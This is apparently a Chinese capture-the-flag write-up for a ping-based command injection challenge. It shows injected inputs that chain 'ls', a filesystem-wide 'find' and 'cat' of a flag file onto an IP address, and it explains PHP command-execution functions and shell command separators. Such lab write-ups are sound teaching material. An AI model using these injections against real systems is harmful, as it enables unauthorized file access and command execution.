题目
Writeup
因为是ping,所以尝试
ping 127.0.0.1
可以正常执行
尝试命令拼接执行
127.0.0.1 && ls
可以正常执行
尝试找到所有的.txt文件(这里是参考大佬思路)
127.0.0.1 && find / -name "*.txt"
发现flag.txt
于是打开flag.txt文件,得到flag
127.0.0.1 && cat /home/flag.txt
知识点
命令执行漏洞
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
- A&&B,表示A命令语句执行成功,然后执行B命令语句
- A&B,表示简单的拼接,A命令语句和B命令语句没有制约关系
- A|B,表示A命令语句的输出,作为B命令语句的输入执行
- A||B,表示A命令语句执行失败,然后才执行B命令语句
- A;B,表示先执行A,再执行B
推荐文章: